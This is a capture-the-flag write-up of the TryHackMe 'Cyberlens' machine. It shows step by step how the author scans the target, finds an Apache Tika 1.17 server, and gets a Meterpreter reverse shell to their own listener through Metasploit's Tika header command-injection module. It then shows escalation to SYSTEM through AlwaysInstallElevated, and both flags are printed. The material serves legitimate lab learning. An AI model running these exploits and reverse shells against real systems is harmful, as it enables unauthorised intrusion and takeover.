

# Cyberlens (THM)

machine ip :-> 10.10.223.107

```
(sohamt@CyberCreedPC)-[~/Downloads]
$ ping 10.10.223.107
PING 10.10.223.107 (10.10.223.107) 56(84) bytes of data.
64 bytes from 10.10.223.107: icmp_seq=1 ttl=124 time=166 ms
64 bytes from 10.10.223.107: icmp_seq=2 ttl=124 time=405 ms
64 bytes from 10.10.223.107: icmp_seq=3 ttl=124 time=224 ms
64 bytes from 10.10.223.107: icmp_seq=4 ttl=124 time=247 ms
64 bytes from 10.10.223.107: icmp_seq=5 ttl=124 time=270 ms
^C
--- 10.10.223.107 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4005ms
rtt min/avg/max/mdev = 165.874/262.357/404.844/79.182 ms
```

machine is on!!!!

```
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Apache httpd 2.4.57 ((Win64))
| http-methods:
|_ Potentially risky methods: TRACE
|_ http-server-header: Apache/2.4.57 (Win64)
|_ http-title: CyberLens: Unveiling the Hidden Matrix
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds?
3389/tcp   open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=CyberLens
| Not valid before: 2024-08-12T13:52:14
|_ Not valid after: 2025-02-11T13:52:14
|_ ssl-date: 2024-08-13T15:03:43+00:00; 0s from scanner time.
| rdp-ntlm-info:
|   Target_Name: CYBERLENS
|   NetBIOS_Domain_Name: CYBERLENS
|   NetBIOS_Computer_Name: CYBERLENS
|   DNS_Domain_Name: CyberLens
|   DNS_Computer_Name: CyberLens
|   Product_Version: 10.0.17763
|_ System_Time: 2024-08-13T15:03:33+00:00
5985/tcp   open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-title: Not Found
|_ http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-server-header: Microsoft-HTTPAPI/2.0
```

Did an nmap scan and found some results. According to the versioning scans i am assuming that it is running a windows server and SMB but also has a web server running.

NOTE:- Didn't find anything pleasing in the dir scan of gobuster.

```
fetch("http://cyberlens.thm:61777/meta", {  
  method: "PUT",  
  body: fileData,  
  headers: {  
    "Accept": "application/json",  
    "Content-Type": "application/octet-stream"  
  }  
})  
.then(response => {  
  if (response.ok) {  
    return response.json();  
  } else {
```

Found this js code in code snippet. It seems like the website is fetching some information from an unrecognized port which didn't come in port scanning and let's see it manually.

# Welcome to the Apache Tika 1.17 Server

For endpoints, please see <https://wiki.apache.org/tika/TikaJAXRS> and <http://tika.apache.org/1.17/miredot/index.html>

- **PUT** [/detect/stream](#)  
Class: org.apache.tika.server.resource.DetectorResource  
Method: detect  
Produces: text/plain
- **GET** [/detectors](#)  
Class: org.apache.tika.server.resource.TikaDetectors  
Method: getDetectorsHTML  
Produces: text/html
- **GET** [/detectors](#)  
Class: org.apache.tika.server.resource.TikaDetectors  
Method: getDetectorsJSON  
Produces: application/json
- **GET** [/detectors](#)  
Class: org.apache.tika.server.resource.TikaDetectors  
Method: getDetectorsPlain  
Produces: text/plain

Apache Tika server is running. Let's see if we can find some exploits or not.

# Didn't find anything pleasing on exploit-db but found a module in metasploit.

```
msf6 > search apache tika
```

```
Matching Modules
```

```
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/windows/http/apache_tika_jp2_jscript	2018-04-25	excellent	Yes	Apache Tika Header Command Injection

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/apache\_tika\_jp2\_jscript

```
msf6 >
```

```
msf6 exploit(windows/http/apache_tika_jp2_jscript) > set LHOST 10.17.68.223
LHOST => 10.17.68.223
msf6 exploit(windows/http/apache_tika_jp2_jscript) > set RPORT 61777
RPORT => 61777
msf6 exploit(windows/http/apache_tika_jp2_jscript) > SET RHOSTS 10.10.223.107
[-] Unknown command: SET. Did you mean set? Run the help command for more details.
msf6 exploit(windows/http/apache_tika_jp2_jscript) > set RHOSTS 10.10.223.107
\RHOSTS => 10.10.223.107
msf6 exploit(windows/http/apache_tika_jp2_jscript) > run
```

```
[*] Started reverse TCP handler on 10.17.68.223:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Sending PUT request to 10.10.223.107:61777/meta
[*] Command Stager progress - 8.10% done (7999/98798 bytes)
[*] Sending PUT request to 10.10.223.107:61777/meta
[*] Command Stager progress - 16.19% done (15998/98798 bytes)
[*] Sending PUT request to 10.10.223.107:61777/meta
[*] Command Stager progress - 24.29% done (23997/98798 bytes)
[*] Sending PUT request to 10.10.223.107:61777/meta
[*] Command Stager progress - 32.39% done (31996/98798 bytes)
[*] Sending PUT request to 10.10.223.107:61777/meta
[*] Command Stager progress - 40.48% done (39995/98798 bytes)
[*] Sending PUT request to 10.10.223.107:61777/meta
[*] Sending stage (176198 bytes) to 10.10.223.107
[*] Command Stager progress - 48.58% done (47994/98798 bytes)
[*] Sending PUT request to 10.10.223.107:61777/meta
[*] Command Stager progress - 56.67% done (55993/98798 bytes)
[*] Sending PUT request to 10.10.223.107:61777/meta
[*] Command Stager progress - 64.77% done (63992/98798 bytes)
[*] Sending PUT request to 10.10.223.107:61777/meta
[*] Meterpreter session 1 opened (10.17.68.223:4444 -> 10.10.223.107:49953) at 2024-08-13 20:44:58 +0530
[*] Command Stager progress - 72.87% done (71991/98798 bytes)
[*] Sending PUT request to 10.10.223.107:61777/meta
[*] Command Stager progress - 80.96% done (79990/98798 bytes)
[*] Sending PUT request to 10.10.223.107:61777/meta
[*] Command Stager progress - 89.06% done (87989/98798 bytes)
[*] Sending PUT request to 10.10.223.107:61777/meta
[*] Command Stager progress - 97.16% done (95988/98798 bytes)
[*] Sending PUT request to 10.10.223.107:61777/meta
[*] Sending stage (176198 bytes) to 10.10.223.107
[*] Command Stager progress - 100.00% done (98798/98798 bytes)
```

```
meterpreter > █
```

set all the options and we will get a meterpreter session.

```
meterpreter > getuid
Server username: CYBERLENS\CyberLens
meterpreter > ls
Listing: C:\Users\CyberLens\Desktop
=====

Mode                Size  Type      Last modified            Name
----                -
100666/rw-rw-rw-   527   fil       2016-06-21 21:06:17 +0530 EC2 Feedback.website
100666/rw-rw-rw-   554   fil       2016-06-21 21:06:23 +0530 EC2 Microsoft Windows Guide.website
100666/rw-rw-rw-   282   fil       2023-06-07 01:18:33 +0530 desktop.ini
100666/rw-rw-rw-    25   fil       2023-06-07 01:24:19 +0530 user.txt

meterpreter > cat user.txt
THM{T1k4-CV3-f0r-7h3-w1n}meterpreter > █
```

so first did "getuid" which is just like "id" command in linux to see username we are logged in as. Then got a file named user.txt so viewed the contents and got the first flag.

```
THM{T1k4-CV3-f0r-7h3-w1n}meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/http/apache_tika_jp2_jscript) > search exploit_suggester

Matching Modules
=====

#  Name                                Disclosure Date  Rank    Check  Description
-  -
0  post/multi/recon/local_exploit_suggester .              normal  No     Multi Recon Local Exploit Suggester

Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester

msf6 exploit(windows/http/apache_tika_jp2_jscript) > █
```

now background the session using "background" command and will be using a module

named "exploit suggerer" which will suggest the exploit we can use on the target machine depending upon the background session of meterpreter.

```
msf6 post(multi/recon/local_exploit_suggester) > options
```

```
Module options (post/multi/recon/local_exploit_suggester):
```

Name	Current Setting	Required	Description
----	-----	-----	-----
SESSION		yes	The session to run this module on
SHOWDESCRIPTION	false	yes	Displays a detailed description for the available exploits

```
View the full module info with the info, or info -d command.
```

```
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
```

```
SESSION => 1
```

```
msf6 post(multi/recon/local_exploit_suggester) > run
```

```
[*] 10.10.223.107 - Collecting local exploits for x86/windows...
```

```
[*] Collecting exploit 487 / 2420
```



```

msf6 post(multi/recon/local_exploit_suggester) > run
[*] 10.10.223.107 - Collecting local exploits for x86/windows...
[*] 10.10.223.107 - 195 exploit checks are being tried...
[+] 10.10.223.107 - exploit/windows/local/always_install_elevated: The target is vulnerable.
[+] 10.10.223.107 - exploit/windows/local/bypassuac_sluihijack: The target appears to be vulnerable.
[+] 10.10.223.107 - exploit/windows/local/cve_2020_1048_printerdemon: The target appears to be vulnerable.
[+] 10.10.223.107 - exploit/windows/local/cve_2020_1337_printerdemon: The target appears to be vulnerable.
[+] 10.10.223.107 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[*] Running check method for exploit 41 / 41
[*] 10.10.223.107 - Valid modules for session 1:
=====

#   Name                                                                 Potentially Vulnerable?  Check Result
-   ----                                                                 -
1   exploit/windows/local/always_install_elevated                      Yes                       The target is vulnerable
.
2   exploit/windows/local/bypassuac_sluihijack                         Yes                       The target appears to be
vulnerable.
3   exploit/windows/local/cve_2020_1048_printerdemon                   Yes                       The target appears to be
vulnerable.
4   exploit/windows/local/cve_2020_1337_printerdemon                   Yes                       The target appears to be
vulnerable.
5   exploit/windows/local/ms16_032_secondary_logon_handle_privesc      Yes                       The service is running,
but could not be validated.

```

so this module suggested some solutions depending upon our target machine. Will be using first one which can be used to become admin.

```

msf6 exploit(windows/local/always_install_elevated) > set LHOST 10.17.68.223
LHOST => 10.17.68.223
msf6 exploit(windows/local/always_install_elevated) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/always_install_elevated) > run

[*] Started reverse TCP handler on 10.17.68.223:4444
[*] Uploading the MSI to C:\Users\CYBERL~1\AppData\Local\Temp\1\qRXENQm.msi ...
[*] Executing MSI...
[*] Sending stage (176198 bytes) to 10.10.223.107
[+] Deleted C:\Users\CYBERL~1\AppData\Local\Temp\1\qRXENQm.msi
[*] Meterpreter session 2 opened (10.17.68.223:4444 -> 10.10.223.107:49960) at 2024-08-13 20:54:20 +0530

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > █

```

became admin now just need the last flag.

```

meterpreter > cd Desktop
meterpreter > ls
Listing: C:\Users\Administrator\Desktop
=====

Mode                Size      Type       Last modified          Name
-----
100666/rw-rw-rw-   527      fil       2016-06-21 21:06:17 +0530 EC2 Feedback.website
100666/rw-rw-rw-   554      fil       2016-06-21 21:06:23 +0530 EC2 Microsoft Windows Guide.website
100666/rw-rw-rw-    24      fil       2023-11-28 01:20:45 +0530 admin.txt
100666/rw-rw-rw-   282      fil       2021-03-17 20:43:27 +0530 desktop.ini

meterpreter > cat admin.txt
THM{3lev@t3D-4-pr1v35c!}meterpreter > █

```

found admin flag in Desktop folder/Directory of Administrator.